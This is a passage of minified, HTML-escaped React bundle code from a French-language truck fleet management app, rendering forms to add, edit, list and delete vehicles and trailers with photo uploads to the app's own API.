gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;marque&quot;,children:&quot;Marque&quot;}),a.jsx(Xe,{id:&quot;marque&quot;,placeholder:&quot;Volvo&quot;,value:d.marque,onChange:C=&gt;u({...d,marque:C.target.value}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-brand&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;modele&quot;,children:&quot;Modèle&quot;}),a.jsx(Xe,{id:&quot;modele&quot;,placeholder:&quot;FH16&quot;,value:d.modele,onChange:C=&gt;u({...d,modele:C.target.value}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-model&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;annee&quot;,children:&quot;Année&quot;}),a.jsx(Xe,{id:&quot;annee&quot;,type:&quot;number&quot;,placeholder:&quot;2023&quot;,value:d.annee||&quot;&quot;,onChange:C=&gt;{const Q=C.target.value,R=Q===&quot;&quot;?void 0:parseInt(Q);u({...d,annee:isNaN(R)?void 0:R})},min:&quot;1900&quot;,max:new Date().getFullYear()+1,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-year&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Photo du véhicule&quot;}),A?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:A,alt:&quot;Aperçu&quot;,className:&quot;w-full h-48 object-cover rounded-lg border&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:E,children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;photo-upload&quot;,className:&quot;flex-1 cursor-pointer&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 h-12 border-2 border-dashed rounded-lg hover:bg-accent transition-colors&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm&quot;,children:&quot;Téléverser une photo&quot;})]})}),a.jsx(Xe,{id:&quot;photo-upload&quot;,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:j,className:&quot;hidden&quot;,&quot;data-testid&quot;:&quot;input-photo-upload&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;absolute inset-0 flex items-center&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;w-full border-t&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;relative flex justify-center text-xs uppercase&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;bg-background px-2 text-muted-foreground&quot;,children:&quot;ou&quot;})})]}),a.jsx(Xe,{id:&quot;photoUrl&quot;,type:&quot;url&quot;,placeholder:&quot;https://example.com/photo.jpg&quot;,value:d.photoUrl||&quot;&quot;,onChange:C=&gt;{u({...d,photoUrl:C.target.value||void 0}),p(null),y(null)},className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-photo-url&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:h?`Fichier sélectionné : ${h.name} (${(h.size/1024/1024).toFixed(2)} MB)`:&quot;Téléversez une photo ou entrez une URL (optionnel)&quot;})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;l(!1),&quot;data-testid&quot;:&quot;button-cancel&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,&quot;data-testid&quot;:&quot;button-submit&quot;,className:&quot;w-full sm:w-auto h-12&quot;,disabled:v,children:v?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Upload en cours...&quot;]}):&quot;Ajouter&quot;})]})]})]})]})}function cGe({vehicle:e,open:t,onOpenChange:r,onUpdate:n}){const{toast:i}=Er(),[s,o]=I.useState({immatriculation:&quot;&quot;,nom:&quot;&quot;,couleur:&quot;&quot;,marque:&quot;&quot;,modele:&quot;&quot;,annee:new Date().getFullYear(),photoUrl:&quot;&quot;}),[l,c]=I.useState(null),[d,u]=I.useState(null),[h,p]=I.useState(!1);I.useEffect(()=&gt;{e&amp;&amp;t&amp;&amp;(o({immatriculation:e.immatriculation,nom:e.nom||&quot;&quot;,couleur:e.couleur||&quot;&quot;,marque:e.marque||&quot;&quot;,modele:e.modele||&quot;&quot;,annee:e.annee||new Date().getFullYear(),photoUrl:e.photoUrl||&quot;&quot;,status:e.status||&quot;actif&quot;}),c(null),u(e.photoUrl?Sr(e.photoUrl):null))},[e,t]);const A=E=&gt;{const S=E.target.files?.[0];if(S){if(!S.type.startsWith(&quot;image/&quot;)){i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un fichier image&quot;});return}if(S.size&gt;5*1024*1024){i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le fichier est trop volumineux (max 5MB)&quot;});return}c(S);const _=new FileReader;_.onloadend=()=&gt;{u(_.result)},_.readAsDataURL(S),o({...s,photoUrl:&quot;&quot;})}},y=()=&gt;{c(null),u(e?.photoUrl?Sr(e.photoUrl):null)},v=()=&gt;{o({...s,photoUrl:&quot;&quot;}),c(null),u(null)},w=async()=&gt;{if(!l)return null;p(!0);try{const E=new FormData;E.append(&quot;photo&quot;,l);const S=$s(&quot;/api/upload/vehicle-photo&quot;),_=Vd(),C={};_&amp;&amp;(C.Authorization=`Bearer ${_}`);const Q=await fetch(S,{method:&quot;POST&quot;,headers:C,body:E,credentials:&quot;include&quot;});if(!Q.ok){const T=await Q.json().catch(()=&gt;({message:&quot;Erreur lors de l&#039;upload&quot;}));throw new Error(T.message||&quot;Erreur lors de l&#039;upload&quot;)}const R=await Q.json();return{url:R.url,publicId:R.publicId}}catch(E){return i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:E instanceof Error?E.message:&quot;Erreur lors de l&#039;upload du fichier&quot;}),null}finally{p(!1)}},j=async E=&gt;{if(E.preventDefault(),!e)return;let S=s.photoUrl?.trim()||void 0,_;if(l){const Q=await w();if(Q)S=Q.url,_=Q.publicId;else return}else!s.photoUrl&amp;&amp;!l&amp;&amp;e?.photoUrl&amp;&amp;(S=null,_=void 0);const C={...s,photoUrl:S,photoCloudinaryPublicId:_,annee:s.annee&amp;&amp;!isNaN(s.annee)?s.annee:void 0,nom:s.nom?.trim()||void 0,couleur:s.couleur?.trim()||void 0,marque:s.marque?.trim()||void 0,modele:s.modele?.trim()||void 0};n?.(e.id,C),r(!1)};return e?a.jsx(En,{open:t,onOpenChange:r,children:a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Modifier le véhicule&quot;}),a.jsxs(Mn,{children:[&quot;Modifiez les détails du véhicule &quot;,e.immatriculation,&quot;.&quot;]})]}),a.jsxs(&quot;form&quot;,{onSubmit:j,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;immatriculation&quot;,children:[&quot;Immatriculation &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;immatriculation&quot;,placeholder:&quot;AB-123-CD&quot;,value:s.immatriculation,onChange:E=&gt;o({...s,immatriculation:E.target.value}),className:&quot;font-mono h-12&quot;,required:!0,&quot;data-testid&quot;:&quot;input-registration&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;nom&quot;,children:&quot;Nom du camion&quot;}),a.jsx(Xe,{id:&quot;nom&quot;,placeholder:&quot;Ex: Le Rouge&quot;,value:s.nom||&quot;&quot;,onChange:E=&gt;o({...s,nom:E.target.value||void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-name&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;couleur&quot;,children:&quot;Couleur&quot;}),a.jsx(Xe,{id:&quot;couleur&quot;,placeholder:&quot;Ex: Rouge, Bleu, Blanc&quot;,value:s.couleur||&quot;&quot;,onChange:E=&gt;o({...s,couleur:E.target.value||void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-color&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;marque&quot;,children:&quot;Marque&quot;}),a.jsx(Xe,{id:&quot;marque&quot;,placeholder:&quot;Volvo&quot;,value:s.marque,onChange:E=&gt;o({...s,marque:E.target.value}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-brand&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;modele&quot;,children:&quot;Modèle&quot;}),a.jsx(Xe,{id:&quot;modele&quot;,placeholder:&quot;FH16&quot;,value:s.modele,onChange:E=&gt;o({...s,modele:E.target.value}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-model&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;annee&quot;,children:&quot;Année&quot;}),a.jsx(Xe,{id:&quot;annee&quot;,type:&quot;number&quot;,placeholder:&quot;2023&quot;,value:s.annee||&quot;&quot;,onChange:E=&gt;{const S=E.target.value,_=S===&quot;&quot;?void 0:parseInt(S);o({...s,annee:isNaN(_)?void 0:_})},min:&quot;1900&quot;,max:new Date().getFullYear()+1,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-year&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;status&quot;,children:&quot;Statut&quot;}),a.jsxs(rn,{value:s.status||&quot;actif&quot;,onValueChange:E=&gt;o({...s,status:E}),children:[a.jsx(Xr,{id:&quot;status&quot;,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;select-status&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner un statut&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;actif&quot;,children:&quot;Actif&quot;}),a.jsx(Qt,{value:&quot;maintenance&quot;,children:&quot;En maintenance&quot;}),a.jsx(Qt,{value:&quot;hors_service&quot;,children:&quot;Hors service&quot;})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Photo du véhicule&quot;}),d?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:d.startsWith(&quot;data:&quot;)?d:Sr(d)||d,alt:&quot;Aperçu&quot;,className:&quot;w-full h-48 object-cover rounded-lg border&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:l?y:v,title:l?&quot;Annuler la sélection&quot;:&quot;Supprimer la photo&quot;,children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;photo-upload-edit&quot;,className:&quot;flex-1 cursor-pointer&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 h-12 border-2 border-dashed rounded-lg hover:bg-accent transition-colors&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm&quot;,children:&quot;Téléverser une photo&quot;})]})}),a.jsx(Xe,{id:&quot;photo-upload-edit&quot;,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:A,className:&quot;hidden&quot;,&quot;data-testid&quot;:&quot;input-photo-upload&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;absolute inset-0 flex items-center&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;w-full border-t&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;relative flex justify-center text-xs uppercase&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;bg-background px-2 text-muted-foreground&quot;,children:&quot;ou&quot;})})]}),a.jsx(Xe,{id:&quot;photoUrl&quot;,type:&quot;url&quot;,placeholder:&quot;https://example.com/photo.jpg&quot;,value:s.photoUrl||&quot;&quot;,onChange:E=&gt;{o({...s,photoUrl:E.target.value||void 0}),c(null),u(null)},className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-photo-url&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:l?`Fichier sélectionné : ${l.name} (${(l.size/1024/1024).toFixed(2)} MB)`:&quot;Téléversez une photo ou entrez une URL (optionnel)&quot;})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;r(!1),&quot;data-testid&quot;:&quot;button-cancel&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,&quot;data-testid&quot;:&quot;button-submit&quot;,className:&quot;w-full sm:w-auto h-12&quot;,disabled:h,children:h?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Upload en cours...&quot;]}):&quot;Enregistrer&quot;})]})]})]})}):null}function uGe(){const[e,t]=I.useState(&quot;&quot;),[r,n]=I.useState(!1),[i,s]=I.useState(null),[o,l]=I.useState(!1),[c,d]=I.useState(null),{toast:u}=Er(),{data:h=[],isLoading:p}=cr({queryKey:[&quot;/api/vehicles&quot;]}),{data:A=[]}=cr({queryKey:[&quot;/api/maintenances&quot;]}),y=I.useMemo(()=&gt;h.map(T=&gt;{const M=A.filter(O=&gt;O.vehicleId===T.id&amp;&amp;O.kilometrageEffectue).sort((O,$)=&gt;{const P=O.dateEffectuee?new Date(O.dateEffectuee).getTime():0;return($.dateEffectuee?new Date($.dateEffectuee).getTime():0)-P})[0];return{...T,kilometrage:M?.kilometrageEffectue||null}}),[h,A]),v=_r({mutationFn:async T=&gt;{console.log(&quot;[Client] Creating vehicle:&quot;,T);try{const M=await $t(&quot;/api/vehicles&quot;,{method:&quot;POST&quot;,body:T});return console.log(&quot;[Client] Vehicle created successfully:&quot;,M),M}catch(M){throw console.error(&quot;[Client] Error creating vehicle:&quot;,M),M}},onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/vehicles&quot;]}),u({title:&quot;Succès&quot;,description:&quot;Le véhicule a été ajouté avec succès&quot;})},onError:T=&gt;{console.error(&quot;[Client] Mutation error:&quot;,T),u({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:T.message||&quot;Impossible d&#039;ajouter le véhicule&quot;})}}),w=_r({mutationFn:async({id:T,data:M})=&gt;await $t(`/api/vehicles/${T}`,{method:&quot;PATCH&quot;,body:M}),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/vehicles&quot;]}),u({title:&quot;Succès&quot;,description:&quot;Le véhicule a été modifié avec succès&quot;}),l(!1),s(null)},onError:T=&gt;{u({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:T.message||&quot;Impossible de modifier le véhicule&quot;})}}),j=_r({mutationFn:async T=&gt;await $t(`/api/vehicles/${T}`,{method:&quot;DELETE&quot;}),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/vehicles&quot;]}),u({title:&quot;Succès&quot;,description:&quot;Le véhicule a été supprimé avec succès&quot;}),d(null)},onError:T=&gt;{u({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:T.message||&quot;Impossible de supprimer le véhicule&quot;})}}),E=y.filter(T=&gt;T.immatriculation.toLowerCase().includes(e.toLowerCase())||T.marque?.toLowerCase().includes(e.toLowerCase())||T.modele?.toLowerCase().includes(e.toLowerCase())),S=T=&gt;{v.mutate(T)},_=T=&gt;{const M=h.find(O=&gt;O.id===T);M&amp;&amp;(s(M),l(!0))},C=(T,M)=&gt;{w.mutate({id:T,data:M})},Q=T=&gt;{d(T)},R=()=&gt;{c&amp;&amp;j.mutate(c)};return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 md:space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row md:items-start md:justify-between gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h2&quot;,{className:&quot;text-lg md:text-xl font-semibold&quot;,&quot;data-testid&quot;:&quot;text-page-title&quot;,children:&quot;Véhicules&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Gérez votre parc de véhicules&quot;})]}),a.jsx(lGe,{onAdd:S,open:r,onOpenChange:n})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;relative flex-1&quot;,children:[a.jsx(rf,{className:&quot;absolute left-3 top-1/2 -translate-y-1/2 h-4 w-4 text-muted-foreground&quot;}),a.jsx(Xe,{placeholder:&quot;Rechercher...&quot;,value:e,onChange:T=&gt;t(T.target.value),className:&quot;pl-9 h-12&quot;,&quot;data-testid&quot;:&quot;input-search&quot;})]}),a.jsx(ge,{size:&quot;icon&quot;,variant:&quot;outline&quot;,className:&quot;h-12 w-12 flex-shrink-0&quot;,&quot;data-testid&quot;:&quot;button-view-grid&quot;,children:a.jsx(pL,{className:&quot;h-5 w-5&quot;})})]}),p?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4&quot;,children:E.map(T=&gt;a.jsx(oGe,{...T,onEdit:_,onDelete:Q,onViewTrips:M=&gt;console.log(&quot;Voir voyages pour véhicule&quot;,M)},T.id))}),E.length===0&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;text-center py-12&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Aucun véhicule trouvé&quot;})})]}),a.jsx(np,{onClick:()=&gt;n(!0),label:&quot;Ajouter un véhicule&quot;}),a.jsx(cGe,{vehicle:i,open:o,onOpenChange:l,onUpdate:C}),a.jsx(du,{open:c!==null,onOpenChange:T=&gt;!T&amp;&amp;d(null),children:a.jsxs(yc,{children:[a.jsxs(bc,{children:[a.jsx(Ec,{children:&quot;Supprimer le véhicule&quot;}),a.jsxs(Cc,{children:[&quot;Êtes-vous sûr de vouloir supprimer ce véhicule ? Cette action est irréversible.&quot;,c&amp;&amp;a.jsxs(&quot;span&quot;,{className:&quot;block mt-2 font-semibold&quot;,children:[&quot;Véhicule : &quot;,h.find(T=&gt;T.id===c)?.immatriculation]})]})]}),a.jsxs(wc,{children:[a.jsx(jc,{children:&quot;Annuler&quot;}),a.jsx(Ic,{onClick:R,className:&quot;bg-destructive text-destructive-foreground hover:bg-destructive/90&quot;,children:&quot;Supprimer&quot;})]})]})})]})}const dGe={plateau:&quot;Plateau&quot;,citerne:&quot;Citerne&quot;,benne:&quot;Benne&quot;,frigorifique:&quot;Frigorifique&quot;,autre:&quot;Autre&quot;};function fGe({trailer:e,onEdit:t,onDelete:r}){const n=e.photoUrl||tf[e.type]||tf.autre;return a.jsxs(it,{&quot;data-testid&quot;:`card-trailer-${e.id}`,className:&quot;hover-elevate overflow-hidden&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden rounded-t-xl bg-muted mb-3&quot;,children:[a.jsx(&quot;img&quot;,{src:Sr(n)||void 0,alt:`Remorque ${e.numeroChassis}`,className:&quot;w-full h-full object-cover&quot;,onError:i=&gt;{i.target.style.display=&quot;none&quot;}}),a.jsxs(&quot;div&quot;,{className:&quot;absolute top-3 left-3 flex items-center gap-2 z-20&quot;,children:[a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;font-mono font-semibold text-xs px-2.5 py-1 bg-background/95 backdrop-blur-sm shadow-md border inline-flex items-center&quot;,&quot;data-testid&quot;:`text-chassis-${e.id}`,children:e.numeroChassis}),a.jsx(Wv,{type:&quot;trailer&quot;,data:{capacite:e.capacite||null}})]})]}),a.jsx(br,{className:&quot;space-y-3 pb-4 pt-4&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[e.nom&amp;&amp;a.jsx(&quot;h3&quot;,{className:&quot;text-base md:text-lg font-semibold&quot;,&quot;data-testid&quot;:`text-name-${e.id}`,children:e.nom}),!n,e.couleur&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-2 mt-1&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,&quot;data-testid&quot;:`text-color-${e.id}`,children:e.couleur})}),a.jsxs(&quot;div&quot;,{className:&quot;mt-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Type&quot;}),a.jsx(yt,{variant:&quot;secondary&quot;,&quot;data-testid&quot;:`badge-type-${e.id}`,className:&quot;text-sm px-3 py-1&quot;,children:dGe[e.type]||e.type})]})]})})}),a.jsx(Et,{className:&quot;pb-4 space-y-3&quot;,children:a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Capacité&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base font-semibold&quot;,&quot;data-testid&quot;:`text-capacity-${e.id}`,children:e.capacite?`${e.capacite} tonnes`:&quot;—&quot;})]})}),a.jsxs(_m,{className:&quot;gap-2 pt-4 border-t flex-wrap&quot;,children:[a.jsxs(ge,{size:&quot;sm&quot;,variant:&quot;outline&quot;,onClick:()=&gt;t?.(e.id),&quot;data-testid&quot;:`button-edit-${e.id}`,className:&quot;flex-1 min-w-[100px] h-10&quot;,children:[a.jsx(z1,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Modifier&quot;]}),r&amp;&amp;a.jsx(R_,{onConfirm:()=&gt;r(e.id),title:&quot;Supprimer la remorque&quot;,description:`Êtes-vous sûr de vouloir supprimer la remorque ${e.numeroChassis} ? Cette action est irréversible.`,trigger:a.jsxs(ge,{size:&quot;sm&quot;,variant:&quot;destructive&quot;,&quot;data-testid&quot;:`button-delete-${e.id}`,className:&quot;flex-1 min-w-[100px] h-10&quot;,children:[a.jsx(Ns,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer&quot;]})})]})]})}function hGe({onAdd:e,trigger:t,open:r,onOpenChange:n}){const[i,s]=I.useState(!1),o=r!==void 0?r:i,l=n||s,{toast:c}=Er(),[d,u]=I.useState({numeroChassis:&quot;&quot;,nom:&quot;&quot;,couleur:&quot;&quot;,type:&quot;plateau&quot;,capacite:void 0,photoUrl:&quot;&quot;}),[h,p]=I.useState(null),[A,y]=I.useState(null),[v,w]=I.useState(!1),j=C=&gt;{const Q=C.target.files?.[0];if(Q){if(!Q.type.startsWith(&quot;image/&quot;)){c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un fichier image&quot;});return}if(Q.size&gt;5*1024*1024){c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le fichier est trop volumineux (max 5MB)&quot;});return}p(Q);const R=new FileReader;R.onloadend=()=&gt;{y(R.result)},R.readAsDataURL(Q),u({...d,photoUrl:&quot;&quot;})}},E=()=&gt;{p(null),y(null)},S=async()=&gt;{if(!h)return null;w(!0);try{const C=new FormData;C.append(&quot;photo&quot;,h);const Q=$s(&quot;/api/upload/trailer-photo&quot;),R=Vd(),T={};R&amp;&amp;(T.Authorization=`Bearer ${R}`);const M=await fetch(Q,{method:&quot;POST&quot;,headers:T,body:C,credentials:&quot;include&quot;});if(!M.ok){const $=await M.json();throw new Error($.message||&quot;Erreur lors de l&#039;upload&quot;)}const O=await M.json();return{url:O.url,publicId:O.publicId}}catch(C){return c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:C instanceof Error?C.message:&quot;Erreur lors de l&#039;upload du fichier&quot;}),null}finally{w(!1)}},_=async C=&gt;{C.preventDefault();let Q=d.photoUrl?.trim()||void 0,R;if(h){const M=await S();if(M)Q=M.url,R=M.publicId;else return}const T={...d,photoUrl:Q,photoCloudinaryPublicId:R,nom:d.nom?.trim()||void 0,couleur:d.couleur?.trim()||void 0,capacite:d.capacite&amp;&amp;!isNaN(d.capacite)?d.capacite:void 0};e?.(T),l(!1),u({numeroChassis:&quot;&quot;,nom:&quot;&quot;,couleur:&quot;&quot;,type:&quot;plateau&quot;,capacite:void 0,photoUrl:&quot;&quot;}),p(null),y(null)};return a.jsxs(En,{open:o,onOpenChange:l,children:[a.jsx(ah,{asChild:!0,children:t||a.jsxs(ge,{&quot;data-testid&quot;:&quot;button-add-trailer&quot;,className:&quot;w-full md:w-auto&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter une remorque&quot;]})}),a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Ajouter une remorque&quot;}),a.jsx(Mn,{children:&quot;Entrez les détails de la remorque à ajouter à votre parc.&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:_,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;numeroChassis&quot;,children:[&quot;Numéro de châssis &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;numeroChassis&quot;,placeholder:&quot;CH-123456&quot;,value:d.numeroChassis,onChange:C=&gt;u({...d,numeroChassis:C.target.value}),className:&quot;font-mono h-12&quot;,required:!0,&quot;data-testid&quot;:&quot;input-chassis&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;nom&quot;,children:&quot;Nom de la remorque&quot;}),a.jsx(Xe,{id:&quot;nom&quot;,placeholder:&quot;Ex: La Grande&quot;,value:d.nom||&quot;&quot;,onChange:C=&gt;u({...d,nom:C.target.value||void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-name&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;couleur&quot;,children:&quot;Couleur&quot;}),a.jsx(Xe,{id:&quot;couleur&quot;,placeholder:&quot;Ex: Rouge, Bleu, Blanc&quot;,value:d.couleur||&quot;&quot;,onChange:C=&gt;u({...d,couleur:C.target.value||void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-color&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;type&quot;,children:[&quot;Type &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:d.type,onValueChange:C=&gt;u({...d,type:C}),required:!0,children:[a.jsx(Xr,{id:&quot;type&quot;,&quot;data-testid&quot;:&quot;select-type&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner un type&quot;})}),a.jsx(en,{children:N_.map(C=&gt;a.jsx(Qt,{value:C,children:C.charAt(0).toUpperCase()+C.slice(1).replace(&quot;_&quot;,&quot; &quot;)},C))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;capacite&quot;,children:&quot;Capacité (tonnes)&quot;}),a.jsx(Xe,{id:&quot;capacite&quot;,type:&quot;number&quot;,step:&quot;0.1&quot;,placeholder:&quot;20&quot;,value:d.capacite||&quot;&quot;,onChange:C=&gt;{const 